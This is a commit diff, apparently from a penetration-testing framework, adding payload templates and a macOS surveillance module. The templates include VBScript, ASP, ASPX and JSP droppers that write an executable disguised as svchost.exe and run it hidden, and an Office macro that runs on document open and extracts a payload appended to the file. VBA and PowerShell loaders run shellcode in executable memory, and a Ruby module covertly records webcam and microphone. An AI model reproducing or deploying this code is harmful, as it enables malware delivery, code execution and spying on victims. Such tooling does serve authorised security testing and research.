Deconflict
commit
53c3f6b2db
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,24 @@
|
|||
<%% @language="VBScript" %%>
|
||||
<%%
|
||||
Sub %{var_func}()
|
||||
%{var_shellcode}
|
||||
Dim %{var_obj}
|
||||
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
|
||||
Dim %{var_stream}
|
||||
Dim %{var_tempdir}
|
||||
Dim %{var_tempexe}
|
||||
Dim %{var_basedir}
|
||||
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
|
||||
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
|
||||
%{var_obj}.CreateFolder(%{var_basedir})
|
||||
%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
|
||||
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe},2,0)
|
||||
%{var_stream}.Write %{var_bytes}
|
||||
%{var_stream}.Close
|
||||
Dim %{var_shell}
|
||||
Set %{var_shell} = CreateObject("Wscript.Shell")
|
||||
%{var_shell}.run %{var_tempexe}, 0, false
|
||||
End Sub
|
||||
|
||||
%{var_func}
|
||||
%%>
|
|
@ -0,0 +1,30 @@
|
|||
<%%@ Page Language="C#" AutoEventWireup="true" %%>
|
||||
<%%@ Import Namespace="System.IO" %%>
|
||||
<script runat="server">
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
%{shellcode}
|
||||
string %{var_tempdir} = Path.GetTempPath();
|
||||
string %{var_basedir} = Path.Combine(%{var_tempdir}, "%{var_filename}");
|
||||
string %{var_tempexe} = Path.Combine(%{var_basedir}, "svchost.exe");
|
||||
|
||||
Directory.CreateDirectory(%{var_basedir});
|
||||
|
||||
FileStream fs = File.Create(%{var_tempexe});
|
||||
|
||||
try
|
||||
{
|
||||
fs.Write(%{var_file}, 0, %{var_file}.Length);
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (fs != null) ((IDisposable)fs).Dispose();
|
||||
}
|
||||
|
||||
System.Diagnostics.Process %{var_proc} = new System.Diagnostics.Process();
|
||||
%{var_proc}.StartInfo.CreateNoWindow = true;
|
||||
%{var_proc}.StartInfo.UseShellExecute = true;
|
||||
%{var_proc}.StartInfo.FileName = %{var_tempexe};
|
||||
%{var_proc}.Start();
|
||||
}
|
||||
</script>
|
|
@ -0,0 +1,81 @@
|
|||
'**************************************************************
|
||||
'*
|
||||
'* This code is now split into two pieces:
|
||||
'* 1. The Macro. This must be copied into the Office document
|
||||
'* macro editor. This macro will run on startup.
|
||||
'*
|
||||
'* 2. The Data. The hex dump at the end of this output must be
|
||||
'* appended to the end of the document contents.
|
||||
'*
|
||||
'**************************************************************
|
||||
'*
|
||||
'* MACRO CODE
|
||||
'*
|
||||
'**************************************************************
|
||||
|
||||
Sub Auto_Open()
|
||||
%{func_name1}
|
||||
End Sub
|
||||
|
||||
Sub %{func_name1}()
|
||||
Dim %{var_appnr} As Integer
|
||||
Dim %{var_fname} As String
|
||||
Dim %{var_fenvi} As String
|
||||
Dim %{var_fhand} As Integer
|
||||
Dim %{var_parag} As Paragraph
|
||||
Dim %{var_index} As Integer
|
||||
Dim %{var_gotmagic} As Boolean
|
||||
Dim %{var_itemp} As Integer
|
||||
Dim %{var_stemp} As String
|
||||
Dim %{var_btemp} As Byte
|
||||
Dim %{var_magic} as String
|
||||
%{var_magic} = "%{var_magic}"
|
||||
%{var_fname} = "%{filename}.exe"
|
||||
%{var_fenvi} = Environ("USERPROFILE")
|
||||
ChDrive (%{var_fenvi})
|
||||
ChDir (%{var_fenvi})
|
||||
%{var_fhand} = FreeFile()
|
||||
Open %{var_fname} For Binary As %{var_fhand}
|
||||
For Each %{var_parag} in ActiveDocument.Paragraphs
|
||||
DoEvents
|
||||
%{var_stemp} = %{var_parag}.Range.Text
|
||||
If (%{var_gotmagic} = True) Then
|
||||
%{var_index} = 1
|
||||
While (%{var_index} < Len(%{var_stemp}))
|
||||
%{var_btemp} = Mid(%{var_stemp},%{var_index},4)
|
||||
Put #%{var_fhand}, , %{var_btemp}
|
||||
%{var_index} = %{var_index} + 4
|
||||
Wend
|
||||
ElseIf (InStr(1,%{var_stemp},%{var_magic}) > 0 And Len(%{var_stemp}) > 0) Then
|
||||
%{var_gotmagic} = True
|
||||
End If
|
||||
Next
|
||||
Close #%{var_fhand}
|
||||
%{func_name2}(%{var_fname})
|
||||
End Sub
|
||||
|
||||
Sub %{func_name2}(%{var_farg} As String)
|
||||
Dim %{var_appnr} As Integer
|
||||
Dim %{var_fenvi} As String
|
||||
%{var_fenvi} = Environ("USERPROFILE")
|
||||
ChDrive (%{var_fenvi})
|
||||
ChDir (%{var_fenvi})
|
||||
%{var_appnr} = Shell(%{var_farg}, vbHide)
|
||||
End Sub
|
||||
|
||||
Sub AutoOpen()
|
||||
Auto_Open
|
||||
End Sub
|
||||
|
||||
Sub Workbook_Open()
|
||||
Auto_Open
|
||||
End Sub
|
||||
|
||||
'**************************************************************
|
||||
'*
|
||||
'* PAYLOAD DATA
|
||||
'*
|
||||
'**************************************************************
|
||||
|
||||
%{var_magic}
|
||||
%{data}
|
|
@ -0,0 +1,24 @@
|
|||
Function %{var_func}()
|
||||
%{var_shellcode}
|
||||
|
||||
Dim %{var_obj}
|
||||
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
|
||||
Dim %{var_stream}
|
||||
Dim %{var_tempdir}
|
||||
Dim %{var_tempexe}
|
||||
Dim %{var_basedir}
|
||||
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
|
||||
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
|
||||
%{var_obj}.CreateFolder(%{var_basedir})
|
||||
%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
|
||||
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false)
|
||||
%{var_stream}.Write %{var_bytes}
|
||||
%{var_stream}.Close
|
||||
Dim %{var_shell}
|
||||
Set %{var_shell} = CreateObject("Wscript.Shell")
|
||||
%{var_shell}.run %{var_tempexe}, 0, true
|
||||
%{var_obj}.DeleteFile(%{var_tempexe})
|
||||
%{var_obj}.DeleteFolder(%{var_basedir})
|
||||
End Function
|
||||
|
||||
%{init}
|
|
@ -0,0 +1,49 @@
|
|||
<%%@ page import="java.io.*" %%>
|
||||
<%%
|
||||
String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
|
||||
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
|
||||
String %{var_data} = "";
|
||||
|
||||
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
|
||||
{
|
||||
%{var_exepath} = %{var_exepath}.concat(".exe");
|
||||
}
|
||||
|
||||
FileInputStream %{var_inputstream} = new FileInputStream(%{var_hexpath});
|
||||
FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
|
||||
|
||||
int %{var_numbytes} = %{var_inputstream}.available();
|
||||
byte %{var_bytearray}[] = new byte[%{var_numbytes}];
|
||||
%{var_inputstream}.read(%{var_bytearray});
|
||||
%{var_inputstream}.close();
|
||||
byte[] %{var_bytes} = new byte[%{var_numbytes}/2];
|
||||
for (int %{var_counter} = 0; %{var_counter} < %{var_numbytes}; %{var_counter} += 2)
|
||||
{
|
||||
char %{var_char1} = (char) %{var_bytearray}[%{var_counter}];
|
||||
char %{var_char2} = (char) %{var_bytearray}[%{var_counter} + 1];
|
||||
int %{var_comb} = Character.digit(%{var_char1}, 16) & 0xff;
|
||||
%{var_comb} <<= 4;
|
||||
%{var_comb} += Character.digit(%{var_char2}, 16) & 0xff;
|
||||
%{var_bytes}[%{var_counter}/2] = (byte)%{var_comb};
|
||||
}
|
||||
|
||||
%{var_outputstream}.write(%{var_bytes});
|
||||
%{var_outputstream}.close();
|
||||
|
||||
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
|
||||
String[] %{var_fperm} = new String[3];
|
||||
%{var_fperm}[0] = "chmod";
|
||||
%{var_fperm}[1] = "+x";
|
||||
%{var_fperm}[2] = %{var_exepath};
|
||||
Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
|
||||
if (%{var_proc}.waitFor() == 0) {
|
||||
%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
|
||||
}
|
||||
|
||||
File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
|
||||
}
|
||||
else
|
||||
{
|
||||
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
|
||||
}
|
||||
%%>
|
|
@ -0,0 +1,32 @@
|
|||
#If Vba7 Then
|
||||
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As LongPtr, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As LongPtr
|
||||
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As LongPtr
|
||||
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As LongPtr, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As LongPtr
|
||||
#Else
|
||||
Private Declare Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As Long, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As Long
|
||||
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As Long
|
||||
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As Long, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As Long
|
||||
#EndIf
|
||||
|
||||
Sub Auto_Open()
|
||||
Dim %{var_myByte} As Long, %{var_myArray} As Variant, %{var_offset} As Long
|
||||
#If Vba7 Then
|
||||
Dim %{var_rwxpage} As LongPtr, %{var_res} As LongPtr
|
||||
#Else
|
||||
Dim %{var_rwxpage} As Long, %{var_res} As Long
|
||||
#EndIf
|
||||
%{bytes}
|
||||
%{var_rwxpage} = VirtualAlloc(0, UBound(%{var_myArray}), &H1000, &H40)
|
||||
For %{var_offset} = LBound(%{var_myArray}) To UBound(%{var_myArray})
|
||||
%{var_myByte} = %{var_myArray}(%{var_offset})
|
||||
%{var_res} = RtlMoveMemory(%{var_rwxpage} + %{var_offset}, %{var_myByte}, 1)
|
||||
Next %{var_offset}
|
||||
%{var_res} = CreateThread(0, 0, %{var_rwxpage}, 0, 0, 0)
|
||||
End Sub
|
||||
Sub AutoOpen()
|
||||
Auto_Open
|
||||
End Sub
|
||||
Sub Workbook_Open()
|
||||
Auto_Open
|
||||
End Sub
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
Set-StrictMode -Version 2
|
||||
$%{var_syscode} = @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
namespace %{var_kernel32} {
|
||||
public class func {
|
||||
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
|
||||
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
|
||||
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
|
||||
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
|
||||
}
|
||||
}
|
||||
"@
|
||||
|
||||
$%{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider
|
||||
$%{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters
|
||||
$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
|
||||
$%{var_compileParams}.GenerateInMemory = $True
|
||||
$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
|
||||
|
||||
%{shellcode}
|
||||
|
||||
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
|
||||
if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
|
||||
[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
|
||||
if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
|
||||
$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
|
|
@ -0,0 +1,20 @@
|
|||
$%{var_syscode} = @"
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
[DllImport("msvcrt.dll")]
|
||||
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
|
||||
"@
|
||||
|
||||
$%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -namespace Win32Functions -passthru
|
||||
|
||||
%{shellcode}
|
||||
|
||||
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40)
|
||||
|
||||
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
|
||||
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
|
||||
}
|
||||
|
||||
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)
|
|
@ -16,7 +16,7 @@ module Buffer
|
|||
|
||||
#
|
||||
# Serializes a buffer to a provided format. The formats supported are raw,
|
||||
# ruby, perl, bash, c, js_be, js_le and java
|
||||
# ruby, perl, bash, c, js_be, js_le, java and psh
|
||||
#
|
||||
def self.transform(buf, fmt = "ruby")
|
||||
case fmt
|
||||
|
@ -39,6 +39,12 @@ module Buffer
|
|||
buf = Rex::Text.to_unescape(buf, ENDIAN_LITTLE)
|
||||
when 'java'
|
||||
buf = Rex::Text.to_java(buf)
|
||||
when 'powershell', 'ps1'
|
||||
buf = Rex::Text.to_powershell(buf)
|
||||
when 'vbscript'
|
||||
buf = Rex::Text.to_vbscript(buf)
|
||||
when 'vbapplication'
|
||||
buf = Rex::Text.to_vbapplication(buf)
|
||||
else
|
||||
raise ArgumentError, "Unsupported buffer format: #{fmt}", caller
|
||||
end
|
||||
|
@ -78,7 +84,20 @@ module Buffer
|
|||
# Returns the list of supported formats
|
||||
#
|
||||
def self.transform_formats
|
||||
['raw','ruby','rb','perl','pl','bash','sh','c','csharp','js_be','js_le','java','python','py']
|
||||
['raw',
|
||||
'ruby','rb',
|
||||
'perl','pl',
|
||||
'bash','sh',
|
||||
'c',
|
||||
'csharp',
|
||||
'js_be',
|
||||
'js_le',
|
||||
'java',
|
||||
'python','py',
|
||||
'powershell','ps1',
|
||||
'vbscript',
|
||||
'vbapplication'
|
||||
]
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1512,6 +1512,7 @@ class DBManager
|
|||
raise ArgumentError.new("Invalid address or object for :host (#{opts[:host].inspect})")
|
||||
end
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
host = opts.delete(:host)
|
||||
ptype = opts.delete(:type) || "password"
|
||||
token = [opts.delete(:user), opts.delete(:pass)]
|
||||
|
@ -1623,6 +1624,7 @@ class DBManager
|
|||
end
|
||||
|
||||
ret[:cred] = cred
|
||||
}
|
||||
end
|
||||
|
||||
alias :report_cred :report_auth_info
|
||||
|
@ -1922,8 +1924,10 @@ class DBManager
|
|||
# Note that this *can* update data across workspaces
|
||||
#
|
||||
def update_vuln_details(details)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
criteria = details.delete(:key) || {}
|
||||
::Mdm::VulnDetail.update(key, details)
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -0,0 +1,382 @@
|
|||
module Msf
|
||||
class Post
|
||||
module OSX
|
||||
module RubyDL
|
||||
def osx_ruby_dl_header
|
||||
<<-EOS
|
||||
require 'dl'
|
||||
require 'dl/import'
|
||||
|
||||
#### Patches to DL (for compatibility between 1.8->1.9)
|
||||
|
||||
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
|
||||
|
||||
def ruby_1_9_or_higher?
|
||||
RUBY_VERSION.to_f >= 1.9
|
||||
end
|
||||
|
||||
def malloc(size)
|
||||
if defined?(DL::CPtr)
|
||||
DL::CPtr.malloc(size)
|
||||
else
|
||||
DL::malloc(size)
|
||||
end
|
||||
end
|
||||
|
||||
# the old Ruby Importer defaults methods to downcase every import
|
||||
# This is annoying, so we'll patch with method_missing
|
||||
if not ruby_1_9_or_higher?
|
||||
module DL
|
||||
module Importable
|
||||
def method_missing(meth, *args, &block)
|
||||
str = meth.to_s
|
||||
lower = str[0,1].downcase + str[1..-1]
|
||||
if self.respond_to? lower
|
||||
self.send lower, *args
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
EOS
|
||||
end
|
||||
|
||||
def osx_capture_media(opts)
|
||||
capture_code = <<-EOS
|
||||
#{osx_ruby_dl_header}
|
||||
|
||||
options = {
|
||||
:action => '#{opts[:action]}', # or list|snapshot|record
|
||||
:snap_filetype => '#{opts[:snap_filetype]}', # jpg|png|gif|tiff|bmp
|
||||
:audio_enabled => #{opts[:audio_enabled]},
|
||||
:video_enabled => #{opts[:video_enabled]},
|
||||
:num_chunks => #{opts[:num_chunks]}, # wachawa!
|
||||
:chunk_len => #{opts[:chunk_len]}, # save chunks every 5 seconds
|
||||
:video_device => #{opts[:video_device]}, # automatic
|
||||
:audio_device => #{opts[:audio_device]},
|
||||
:snap_jpg_compression => #{opts[:snap_jpg_compression]}, # compression ratio (between 0 & 1), JPG ONLY
|
||||
:video_compression => '#{opts[:video_compression]}',
|
||||
:audio_compression => '#{opts[:audio_compression]}',
|
||||
:record_file => '#{opts[:record_file]}',
|
||||
:snap_file => '#{opts[:snap_file]}'
|
||||
}
|
||||
|
||||
RUN_LOOP_STEP = 0.1 # "tick" duration for spinning NSRunLoop
|
||||
|
||||
# NSTIFFFileType 0
|
||||
# NSBMPFileType 1
|
||||
# NSGIFFileType 2
|
||||
# NSJPEGFileType 3
|
||||
# NSPNGFileType 4
|
||||
SNAP_FILETYPES = %w(tiff bmp gif jpg png)
|
||||
|
||||
snap_filetype_index = SNAP_FILETYPES.index(options[:snap_filetype].to_s)
|
||||
|
||||
require 'fileutils'
|
||||
FileUtils.mkdir_p File.dirname(options[:record_file])
|
||||
FileUtils.mkdir_p File.dirname(options[:snap_file])
|
||||
|
||||
#### Helper methods for objc message passing
|
||||
|
||||
if not ruby_1_9_or_higher?
|
||||
# ruby < 1.9 freaks when you send int -> void* or flout -> void*
|
||||
# so we have to reload the lib into separate modules with different
|
||||
# exported typedefs, and patch objc_call to do our own typechecking.
|
||||
# this can probably be done better.
|
||||
module LibCWithInt
|
||||
extend Importer
|
||||
dlload 'libSystem.B.dylib'
|
||||
extern 'void *sel_getUid(void*)'
|
||||
extern 'void *objc_msgSend(void *, void *, int, int)'
|
||||
end
|
||||
module LibCWithFloat
|
||||
extend Importer
|
||||
dlload 'libSystem.B.dylib'
|
||||
extern 'void *sel_getUid(void*)'
|
||||
extern 'void *objc_msgSend(void *, void *, double, double)'
|
||||
end
|
||||
module LibCWithVoidPtrInt
|
||||
extend Importer
|
||||
dlload 'libSystem.B.dylib'
|
||||
extern 'void *sel_getUid(void*)'
|
||||
extern 'void *objc_msgSend(void *, void *, void*, int)'
|
||||
end
|
||||
module LibCWithIntVoidPtr
|
||||
extend Importer
|
||||
dlload 'libSystem.B.dylib'
|
||||
extern 'void *sel_getUid(void*)'
|
||||
extern 'void *objc_msgSend(void *, void *, int, void*)'
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def objc_call(instance, method, arg=nil, arg2=nil)
|
||||
# ruby < 1.9 freaks when you send int -> void* or flout -> void*
|
||||
# so we have to reload the lib into a separate with different exported typedefs,
|
||||
# and call
|
||||
if not ruby_1_9_or_higher? and arg.kind_of?(Integer)
|
||||
if not arg2.kind_of?(Integer) and not arg2.nil?
|
||||
LibCWithIntVoidPtr.objc_msgSend(instance, LibCWithIntVoidPtr.sel_getUid(method), arg||0, arg2)
|
||||
else
|
||||
LibCWithInt.objc_msgSend(instance, LibCWithInt.sel_getUid(method), arg||0, arg2||0)
|
||||
end
|
||||
elsif not ruby_1_9_or_higher? and arg2.kind_of?(Integer)
|
||||
LibCWithVoidPtrInt.objc_msgSend(instance, LibCWithVoidPtrInt.sel_getUid(method), arg||0, arg2)
|
||||
elsif not ruby_1_9_or_higher? and arg.kind_of?(Float)
|
||||
LibCWithFloat.objc_msgSend(instance, LibCWithFloat.sel_getUid(method), arg||0.0, arg2||0.0)
|
||||
else
|
||||
QTKit.objc_msgSend(instance, QTKit.sel_getUid(method), arg, arg2)
|
||||
end
|
||||
end
|
||||
|
||||
def objc_call_class(klass, method, arg=nil, arg2=nil)
|
||||
objc_call(QTKit.objc_getClass(klass), QTKit.sel_getUid(method), arg, arg2)
|
||||
end
|
||||
|
||||
def nsstring(str)
|
||||
objc_call(objc_call(objc_call_class(
|
||||
'NSString', 'alloc'),
|
||||
'initWithCString:', str),
|
||||
'autorelease')
|
||||
end
|
||||
|
||||
|
||||
#### External dynamically linked code
|
||||
|
||||
VID_TYPE = 'vide'
|
||||
MUX_TYPE = 'muxx'
|
||||
AUD_TYPE = 'soun'
|
||||
|
||||
module QTKit
|
||||
extend Importer
|
||||
dlload 'QTKit.framework/QTKit'
|
||||
extern 'void *objc_msgSend(void *, void *, void *, void*)'
|
||||
extern 'void *sel_getUid(void*)'
|
||||
extern 'void *objc_getClass(void *)'
|
||||
end
|
||||
|
||||
#### Actual Webcam code
|
||||
autorelease_pool = objc_call_class('NSAutoreleasePool', 'new')
|
||||
|
||||
vid_type = nsstring(VID_TYPE)
|
||||
mux_type = nsstring(MUX_TYPE)
|
||||
aud_type = nsstring(AUD_TYPE)
|
||||
|
||||
devices_ref = objc_call_class('QTCaptureDevice', 'inputDevices')
|
||||
device_count = objc_call(devices_ref, 'count').to_i
|
||||
if device_count.zero? and not options[:actions] =~ /list/i
|
||||
raise "Invalid device. Check devices with `set ACTION LIST`. Exiting."
|
||||
exit
|
||||
end
|
||||
|
||||
device_enum = objc_call(devices_ref, 'objectEnumerator')
|
||||
devices = (0...device_count).
|
||||
map { objc_call(device_enum, 'nextObject') }.
|
||||
select do |device|
|
||||
vid = objc_call(device, 'hasMediaType:', vid_type).to_i > 0
|
||||
mux = objc_call(device, 'hasMediaType:', mux_type).to_i > 0
|
||||
vid or mux
|
||||
end
|
||||
|
||||
device_enum = objc_call(devices_ref, 'objectEnumerator')
|
||||
audio_devices = (0...device_count).
|
||||
map { objc_call(device_enum, 'nextObject') }.
|
||||
select { |d| objc_call(d, 'hasMediaType:', aud_type).to_i > 0 }
|
||||
|
||||
def device_names(devices)
|
||||
devices.
|
||||
map { |device| objc_call(device, 'localizedDisplayName') }.
|
||||
map { |name| objc_call(name, 'UTF8String') }.
|
||||
map(&:to_s)
|
||||
end
|
||||
|
||||
def device_stati(devices)
|
||||
devices.
|
||||
map { |d| objc_call(d, 'isInUseByAnotherApplication').to_i > 0 }.
|
||||
map { |b| if b then 'BUSY' else 'AVAIL' end }
|
||||
end
|
||||
|
||||
def print_devices(devices)
|
||||
device_names(devices).zip(device_stati(devices)).each_with_index do |d, i|
|
||||
puts "\#{i}. \#{d[0]} [\#{d[1]}]"
|
||||
end
|
||||
end
|
||||
|
||||
def print_compressions(type)
|
||||
compressions = objc_call_class('QTCompressionOptions',
|
||||
'compressionOptionsIdentifiersForMediaType:', type)
|
||||
count = objc_call(compressions, 'count').to_i
|
||||
if count.zero?
|
||||
puts "No supported compression types found."
|
||||
else
|
||||
comp_enum = objc_call(compressions, 'objectEnumerator')
|
||||
puts((0...count).
|
||||
map { objc_call(comp_enum, 'nextObject') }.
|
||||
map { |c| objc_call(c, 'UTF8String').to_s }.
|
||||
join("\n")
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
def use_audio?(options)
|
||||
options[:audio_enabled] and options[:action].to_s == 'record'
|
||||
end
|
||||
|
||||
def use_video?(options)
|
||||
(options[:video_enabled] and options[:action].to_s == 'record') or options[:action].to_s == 'snapshot'
|
||||
end
|
||||
|
||||
if options[:action].to_s == 'list'
|
||||
if options[:video_enabled]
|
||||
puts "===============\nVideo Devices:\n===============\n"
|
||||
print_devices(devices)
|
||||
puts "\nAvailable video compression types:\n\n"
|
||||
print_compressions(vid_type)
|
||||
end
|
||||
puts "\n===============\nAudio Devices:\n===============\n"
|
||||
print_devices(audio_devices)
|
||||
puts "\nAvailable audio compression types:\n\n"
|
||||
print_compressions(aud_type)
|
||||
exit
|
||||
end
|
||||
|
||||
# Create a session to add I/O to
|
||||
session = objc_call_class('QTCaptureSession', 'new')
|
||||
|
||||
# open the AV devices
|
||||
if use_video?(options)
|
||||
video_device = devices[options[:video_device]]
|
||||
if not objc_call(video_device, 'open:', nil).to_i > 0
|
||||
raise 'Failed to open video device'
|
||||
end
|
||||
input = objc_call_class('QTCaptureDeviceInput', 'alloc')
|
||||
input = objc_call(input, 'initWithDevice:', video_device)
|
||||
objc_call(session, 'addInput:error:', input, nil)
|
||||
end
|
||||
|
||||
if use_audio?(options)
|
||||
# open the audio device
|
||||
audio_device = audio_devices[options[:audio_device]]
|
||||
if not objc_call(audio_device, 'open:', nil).to_i > 0
|
||||
raise 'Failed to open audio device'
|
||||
end
|
||||
input = objc_call_class('QTCaptureDeviceInput', 'alloc')
|
||||
input = objc_call(input, 'initWithDevice:', audio_device)
|
||||
objc_call(session, 'addInput:error:', input, nil)
|
||||
end
|
||||
|
||||
# initialize file output
|
||||
record_file = options[:record_file]
|
||||
output = objc_call_class('QTCaptureMovieFileOutput', 'new')
|
||||
file_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))
|
||||
objc_call(output, 'recordToOutputFileURL:', file_url)
|
||||
objc_call(session, 'addOutput:error:', output, nil)
|
||||
|
||||
# set up video/audio compression options
|
||||
connection = nil
|
||||
connection_enum = objc_call(objc_call(output, 'connections'), 'objectEnumerator')
|
||||
|
||||
while (connection = objc_call(connection_enum, 'nextObject')).to_i > 0
|
||||
media_type = objc_call(connection, 'mediaType')
|
||||
|
||||
compress_opts = if objc_call(media_type, 'isEqualToString:', vid_type).to_i > 0 ||
|
||||
objc_call(media_type, 'isEqualToString:', mux_type).to_i > 0
|
||||
objc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',
|
||||
nsstring(options[:video_compression]))
|
||||
elsif use_audio?(options) and objc_call(media_type, 'isEqualToString:', aud_type).to_i > 0
|
||||
objc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',
|
||||
nsstring(options[:audio_compression]))
|
||||
end
|
||||
|
||||
unless compress_opts.to_i.zero?
|
||||
objc_call(output, 'setCompressionOptions:forConnection:', compress_opts, connection)
|
||||
end
|
||||
end
|
||||
|
||||
# start capturing from the webcam
|
||||
objc_call(session, 'startRunning')
|
||||
|
||||
# we use NSRunLoop, which allows QTKit to spin its thread? somehow it is needed.
|
||||
run_loop = objc_call_class('NSRunLoop', 'currentRunLoop')
|
||||
|
||||
# wait until at least one frame has been captured
|
||||
while objc_call(output, 'recordedFileSize').to_i < 1
|
||||
time = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')
|
||||
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
|
||||
end
|
||||
|
||||
if options[:action] == 'record' # record in a loop for options[:record_len] seconds
|
||||
curr_chunk = 0
|
||||
last_roll = Time.now
|
||||
# wait until at least one frame has been captured
|
||||
while curr_chunk < options[:num_chunks]
|
||||
time = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')
|
||||
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
|
||||
|
||||
if Time.now - last_roll > options[:chunk_len].to_i # roll that movie file
|
||||
base = File.basename(record_file, '.*') # returns it with no extension
|
||||
num = ((base.match(/\\d+$/)||['0'])[0].to_i+1).to_s
|
||||
ext = File.extname(record_file) || 'o'
|
||||
record_file = File.join(File.dirname(record_file), base+num+'.'+ext)
|
||||
|
||||
# redirect buffer output to new file path
|
||||
file_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))
|
||||
objc_call(output, 'recordToOutputFileURL:', file_url)
|
||||
# remember we hit a chunk
|
||||
last_roll = Time.now
|
